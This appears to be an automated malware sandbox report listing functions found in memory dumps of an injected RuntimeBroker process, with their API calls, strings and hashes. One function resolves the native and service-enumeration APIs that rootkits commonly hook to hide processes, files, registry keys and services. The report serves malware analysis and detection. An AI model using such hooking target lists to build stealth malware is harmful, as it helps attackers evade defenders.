Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e3c03fb304466c234b312fdc0e8c37f997bdcd3161d980aa0ea1a29afb6b98c
Instruction ID: d701376ddc6729f9db59c9c184bf65cb8d55b83c5a8d8dcda951187538f7afaa
Opcode Fuzzy Hash: 5e3c03fb304466c234b312fdc0e8c37f997bdcd3161d980aa0ea1a29afb6b98c
Instruction Fuzzy Hash: D411931271AD4F0BE7B9B26C04B0638A6D2DF9412675F11BAD41FC73E6ED29ED424341

Function 00007FFD9BD85330 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aef299794b3137b2c220673ffef57fb4f9001e6d7314596d2dc4f7ff4ec214a
Instruction ID: 97799ee3353ad8f3e21a8af9487144b63cbcae6b367674d10f5f3dbc23fbb439
Opcode Fuzzy Hash: 3aef299794b3137b2c220673ffef57fb4f9001e6d7314596d2dc4f7ff4ec214a
Instruction Fuzzy Hash: 1811865171AE4F0BE7B9A26C04B063866D2EF99155B5F11BAD40FC32E6DD39ED024341

Function 00007FFD9BD85268 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2ee8a7668121a2f20ee22b673ed2836c0e19dbf946b765780017f4acf7c7875
Instruction ID: a121650bf0fb06c77d4dc05536b4e1b5f97e0251ee76817c4a6e82c89185827d
Opcode Fuzzy Hash: a2ee8a7668121a2f20ee22b673ed2836c0e19dbf946b765780017f4acf7c7875
Instruction Fuzzy Hash: 3411981171AE4F0BE7B9A36C04B063466D2DF9925575F11B9D44FC72E6DD29ED014301

Function 00007FFD9BD80EE1 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bbf8259745e2944e49c07d0e6cc9c8d8d2fa8802e227036bd74ed75d44dfdde
Instruction ID: 4a9f0e4a3fe36dd3d0cb13038846fc56d14515fe435d5a2c1840d34509c54034
Opcode Fuzzy Hash: 4bbf8259745e2944e49c07d0e6cc9c8d8d2fa8802e227036bd74ed75d44dfdde
Instruction Fuzzy Hash: 77D0C71172A51517F21416CC68523F4B285CB88721F511137D409C22D6C8DF6DC142C2

Non-executed Functions

Function 1D3A7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 1D3A7DAC
RtlCaptureContext.NTDLL ref: 1D3A7DD9
RtlLookupFunctionEntry.NTDLL ref: 1D3A7DF3
RtlVirtualUnwind.NTDLL ref: 1D3A7E34
IsDebuggerPresent.KERNEL32 ref: 1D3A7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 1D3A7EA9
UnhandledExceptionFilter.KERNEL32 ref: 1D3A7EB4

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: c42a8eb6d58c1ab446f86d18c666e0e301bd626c504b0a7b3a809c3fc77a4965
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 47312F76305B808AEB608F60E8907EE7365F784748F44452BDB5E9BB68EF38C648C711

Function 1D3AD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 1D3AD31D
RtlLookupFunctionEntry.NTDLL ref: 1D3AD335
RtlVirtualUnwind.NTDLL ref: 1D3AD370
IsDebuggerPresent.KERNEL32 ref: 1D3AD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 1D3AD3B3
UnhandledExceptionFilter.KERNEL32 ref: 1D3AD3BE

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 0a03d21b1d78f16a69acda2f7f07651222b3fa08870918f1bb18205670d720c3
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: E5313D36714F8096DB60CF25E8803EE73A4F789794F514226EA9D97B68EF38C255CB01

Function 00007FFD9B9FF1F2 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3101033094.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b9f0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c66bbfc2ab144f884db8d4730acd53af8b96bfef89d8ff952e57946b893a6be7
Instruction ID: b778c30612082eabe8e21de052578847492717660811626475bac2303d85a897
Opcode Fuzzy Hash: c66bbfc2ab144f884db8d4730acd53af8b96bfef89d8ff952e57946b893a6be7
Instruction Fuzzy Hash: 3C31231BB0A1A316F316B3BCB4F2DE53B90DF5227970941F7D59E4D0A79C0B188E4295

Function 1D3A12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 1D3A1319
GetProcessHeap.KERNEL32 ref: 1D3A1327
HeapAlloc.KERNEL32 ref: 1D3A1338
RegEnumValueW.ADVAPI32 ref: 1D3A1397

Part of subcall function 1D3A152C: StrCmpIW.SHLWAPI ref: 1D3A155D

GetProcessHeap.KERNEL32 ref: 1D3A13DF
HeapAlloc.KERNEL32 ref: 1D3A13ED
GetProcessHeap.KERNEL32 ref: 1D3A140A
HeapFree.KERNEL32 ref: 1D3A1418
lstrlenW.KERNEL32 ref: 1D3A1421
GetProcessHeap.KERNEL32 ref: 1D3A142F
HeapAlloc.KERNEL32 ref: 1D3A143D
StrCpyW.SHLWAPI ref: 1D3A145F
GetProcessHeap.KERNEL32 ref: 1D3A1476
HeapFree.KERNEL32 ref: 1D3A1484

Strings

d, xrefs: 1D3A135A

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 364f693cac41803260e0c6f7a9c00de154279a0ce0b2170798b5f01e4ded838e
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 6851AD36214B8586E710CF66E84839AB7B1F389FC9F048226DE5A4B729DF3CC149CB01

Function 1D3A1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 1D3A1D1F

Part of subcall function 1D3A1FD4: GetModuleHandleA.KERNEL32 ref: 1D3A1FEC
Part of subcall function 1D3A1FD4: GetProcAddress.KERNEL32 ref: 1D3A1FFD

Part of subcall function 1D3A5B30: GetCurrentThreadId.KERNEL32 ref: 1D3A5B6B

Strings

NtEnumerateKey, xrefs: 1D3A1DB9
NtResumeThread, xrefs: 1D3A1D62
NtQueryDirectoryFile, xrefs: 1D3A1D7F
EnumServiceGroupW, xrefs: 1D3A1DF0
sechost.dll, xrefs: 1D3A1E39
EnumServicesStatusExW, xrefs: 1D3A1E11, 1D3A1E32
NtEnumerateValueKey, xrefs: 1D3A1DD6
NtQueryDirectoryFileEx, xrefs: 1D3A1D9C
ntdll.dll, xrefs: 1D3A1D2D
NtDeviceIoControlFile, xrefs: 1D3A1E56
NtQuerySystemInformation, xrefs: 1D3A1D45
advapi32.dll, xrefs: 1D3A1DF7, 1D3A1E18

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 56d3e2e24a9c81dce5b7eccaf3c99474e64ba1a6ee093e66e9b3e551af690155
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: F831C279314A4AA0EA04DFA9FCA47E43320F704398FC19223896A97534AFBCD349C753

Function 1C756910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 1C756938
__scrt_acquire_startup_lock.LIBCMT ref: 1C75698A
_RTC_Initialize.LIBCMT ref: 1C7569B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 1C7569DE
__scrt_release_startup_lock.LIBCMT ref: 1C756A09

Strings

scriptor', xrefs: 1C756B39, 1C756BB2, 1C756BEC
`eh vector vbase copy constructor iterator', xrefs: 1C7569EE
`eh vector copy constructor iterator', xrefs: 1C756A3B
`dynamic initializer for ', xrefs: 1C7569C7

Memory Dump Source

Source File: 0000000A.00000002.3097489255.000000001C750000.00000040.00000400.00020000.00000000.sdmp, Offset: 1C750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1c750000_RuntimeBroker.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: e902e83d1408c19465d24b22f6697621c4756a0bec81cac8f3f955ba4cfdce30
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: F9715679B557468AFB40DB36F84838D77A0FB85B80F648129CE0883754EFF8E4498B24

Function 1D3ACE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 1D3ACE37
FlsGetValue.KERNEL32(?,?,?,1D3B0A6B,?,?,?,1D3B045C,?,?,?,1D3AC84F), ref: 1D3ACE4C
FlsSetValue.KERNEL32(?,?,?,1D3B0A6B,?,?,?,1D3B045C,?,?,?,1D3AC84F), ref: 1D3ACE6D
FlsSetValue.KERNEL32(?,?,?,1D3B0A6B,?,?,?,1D3B045C,?,?,?,1D3AC84F), ref: 1D3ACE9A
FlsSetValue.KERNEL32(?,?,?,1D3B0A6B,?,?,?,1D3B045C,?,?,?,1D3AC84F), ref: 1D3ACEAB
FlsSetValue.KERNEL32(?,?,?,1D3B0A6B,?,?,?,1D3B045C,?,?,?,1D3AC84F), ref: 1D3ACEBC
SetLastError.KERNEL32 ref: 1D3ACED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,1D3B0A6B,?,?,?,1D3B045C,?,?,?,1D3AC84F), ref: 1D3ACF0D
FlsSetValue.KERNEL32(?,?,00000001,1D3AECCC,?,?,?,?,1D3ABF9F,?,?,?,?,?,1D3A7AB0), ref: 1D3ACF2C

Part of subcall function 1D3AD6CC: HeapAlloc.KERNEL32 ref: 1D3AD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,1D3B0A6B,?,?,?,1D3B045C,?,?,?,1D3AC84F), ref: 1D3ACF54

Part of subcall function 1D3AD744: HeapFree.KERNEL32 ref: 1D3AD75A
Part of subcall function 1D3AD744: GetLastError.KERNEL32 ref: 1D3AD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,1D3B0A6B,?,?,?,1D3B045C,?,?,?,1D3AC84F), ref: 1D3ACF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,1D3B0A6B,?,?,?,1D3B045C,?,?,?,1D3AC84F), ref: 1D3ACF76

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 81ae7dfa4ed2d3c1f1356864241e8c9d76a8deab2a50f3105871727dc9b84e00
Instruction ID: 01751bce4c9406ffcdff0351b7839405914b2e2f84864b17788f4ffec56802bd
Opcode Fuzzy Hash: 81ae7dfa4ed2d3c1f1356864241e8c9d76a8deab2a50f3105871727dc9b84e00
Instruction Fuzzy Hash: D431B07D31928443EA29973599557392342EF85BB0F19CB269A3ACB7F4EE28E541C303

Function 1D3AA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 1D3AA5A1

Part of subcall function 1D3AB414: __GetUnwindTryBlock.LIBCMT ref: 1D3AB457
Part of subcall function 1D3AB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 1D3AB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 1D3AA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 1D3AA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 1D3AA9DA

Strings

csm, xrefs: 1D3AA69C
csm, xrefs: 1D3AA5BB
csm, xrefs: 1D3AA622

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 147a5c394ba4e007c258850d6061d542d969719de9d23a8e277659d08661d77f
Instruction ID: 7b7c9e7d0dc20673bb8b0b81aded2ef6e621073cf77d1c5ab42238d0aecab9fc
Opcode Fuzzy Hash: 147a5c394ba4e007c258850d6061d542d969719de9d23a8e277659d08661d77f
Instruction Fuzzy Hash: 26D19177B08B848ADB10CF65D48039E7BA4F749B98F51421ADF8D97B28CB34D192CB12

Function 1C759944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 1C7599A1

Part of subcall function 1C75A814: __GetUnwindTryBlock.LIBCMT ref: 1C75A857
Part of subcall function 1C75A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 1C75A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 1C759A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 1C759CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 1C759DDA

Strings

csm, xrefs: 1C7599BB
csm, xrefs: 1C759A9C
csm, xrefs: 1C759A22

Memory Dump Source

Source File: 0000000A.00000002.3097489255.000000001C750000.00000040.00000400.00020000.00000000.sdmp, Offset: 1C750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1c750000_RuntimeBroker.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 834275b1f544e8f1f8bb6d209081360577227df901ebe2fc1a8aeb8bbf94c669
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 44D1C076A05BC08AEB10CF75E48839D77A4F78AB98F100616DF8957B18DFB8D096C760

Function 1D3AF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 1D3AF510
GetProcAddress.KERNEL32 ref: 1D3AF51C

Strings

ext-ms-, xrefs: 1D3AF46D
api-ms-, xrefs: 1D3AF45A

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: a0f3cb97d83f084b5c078ea606d329a918e0789490c159543aff3f4a2fa5ff9f
Instruction ID: d3f9c44a370b5f0083743ad426bf3f5eb35b95a8731ff4d397b4950c1cd69da5
Opcode Fuzzy Hash: a0f3cb97d83f084b5c078ea606d329a918e0789490c159543aff3f4a2fa5ff9f
Instruction Fuzzy Hash: EF41C333315A5191EB06DB26A8047A56395FB49BE0F05423BAE2EDB798EF3CC145C352

Function 1D3A104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 1D3A10B1
RegEnumValueW.ADVAPI32 ref: 1D3A1117
GetProcessHeap.KERNEL32 ref: 1D3A115A
HeapAlloc.KERNEL32 ref: 1D3A1168
GetProcessHeap.KERNEL32 ref: 1D3A1185
HeapFree.KERNEL32 ref: 1D3A1193

Strings

d, xrefs: 1D3A10D6

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 0cc5ceb7d92555702a84a43de404567f212e32e90d8a90c8922560dee2c01182
Instruction ID: 0570772cca80a9748904e2e1a41d3bc77591a53427eb4c0603776b208b1d92a3
Opcode Fuzzy Hash: 0cc5ceb7d92555702a84a43de404567f212e32e90d8a90c8922560dee2c01182
Instruction Fuzzy Hash: 72417F73214B84C6E750CF21E44579E77A5F389B98F44822ADB894BB18DF3CC589CB41

Function 1D3AD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,1D3AC7DE,?,?,?,?,?,?,?,?,1D3ACF9D,?,?,00000001), ref: 1D3AD087
FlsSetValue.KERNEL32(?,?,?,1D3AC7DE,?,?,?,?,?,?,?,?,1D3ACF9D,?,?,00000001), ref: 1D3AD0A6
FlsSetValue.KERNEL32(?,?,?,1D3AC7DE,?,?,?,?,?,?,?,?,1D3ACF9D,?,?,00000001), ref: 1D3AD0CE
FlsSetValue.KERNEL32(?,?,?,1D3AC7DE,?,?,?,?,?,?,?,?,1D3ACF9D,?,?,00000001), ref: 1D3AD0DF
FlsSetValue.KERNEL32(?,?,?,1D3AC7DE,?,?,?,?,?,?,?,?,1D3ACF9D,?,?,00000001), ref: 1D3AD0F0

Strings

1%, xrefs: 1D3AD0CE
Y%, xrefs: 1D3AD0A6

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 41a8a1747619241d81aff8900560fa193fe489ff0dcb177959e5590166292b11
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 3011A37471829443EA59873AB9593396201EB847F0F15C326AA3AC77F8FF28D102C303

Function 1D3A7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 1D3A7538
__scrt_acquire_startup_lock.LIBCMT ref: 1D3A758A
_RTC_Initialize.LIBCMT ref: 1D3A75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 1D3A75DE
__scrt_release_startup_lock.LIBCMT ref: 1D3A7609

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 1b64cd0bd7df9c1ae348f108ff3239a87a1137def44957f55e504f9c760caebb
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 947102F9B1474286EF068B65A8C13A96394FB85BC0F05C626CB0ACB735EB78D546C703

Function 1D3A9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 1D3A9E49
GetLastError.KERNEL32 ref: 1D3A9E57
LoadLibraryExW.KERNEL32 ref: 1D3A9E81
FreeLibrary.KERNEL32 ref: 1D3A9EC7
GetProcAddress.KERNEL32 ref: 1D3A9ED3

Strings

api-ms-, xrefs: 1D3A9E69

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 1bec38bed2a9dad19cb8167f1bbce1e92081cdd400658c61ccc26499447e47b7
Instruction ID: c0433dcaa8758e9bf350216aad5986c1a2a9a0cb51be9ffa93a10c82a4a8dd12
Opcode Fuzzy Hash: 1bec38bed2a9dad19cb8167f1bbce1e92081cdd400658c61ccc26499447e47b7
Instruction Fuzzy Hash: 6B313A35312B50E1DF02DB02A800BA56394FB48BA0F9D4626DD6E9B756EF38C745C322

Function 1D3B3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 1D3B3DE5
GetLastError.KERNEL32 ref: 1D3B3DF1
CloseHandle.KERNEL32 ref: 1D3B3E09
CreateFileW.KERNEL32 ref: 1D3B3E34
WriteConsoleW.KERNEL32 ref: 1D3B3E53

Strings

CONOUT$, xrefs: 1D3B3E15

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: a4918ad28f6bb2757e6bd1a96b14b40a097d7e3a156ba3e3c6012c0f848ebdcb
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: B2118F32314B8086E3508B52E84435977A4F788FE4F084327EE6E8BB95CF38C614C741

Function 1D3ACFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 1D3ACFAF
FlsSetValue.KERNEL32(?,?,?,1D3AD6B5,?,?,?,?,1D3AD778), ref: 1D3ACFE5
FlsSetValue.KERNEL32(?,?,?,1D3AD6B5,?,?,?,?,1D3AD778), ref: 1D3AD012
FlsSetValue.KERNEL32(?,?,?,1D3AD6B5,?,?,?,?,1D3AD778), ref: 1D3AD023
FlsSetValue.KERNEL32(?,?,?,1D3AD6B5,?,?,?,?,1D3AD778), ref: 1D3AD034
SetLastError.KERNEL32 ref: 1D3AD04F

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 4e879900a0bde51e14473d590c73b1f3311ca061e8e03c15fe4128771fd9b30c
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 6611E77931829043EA198735A5583296342EF84BF0F01C726DE36C77F8EE68D502C303

Function 1D3A199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 1D3A19C2
K32GetModuleFileNameExW.KERNEL32 ref: 1D3A19E0
PathFindFileNameW.SHLWAPI ref: 1D3A19EF
lstrlenW.KERNEL32 ref: 1D3A19FB
StrCpyW.SHLWAPI ref: 1D3A1A0E
CloseHandle.KERNEL32 ref: 1D3A1A1C

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

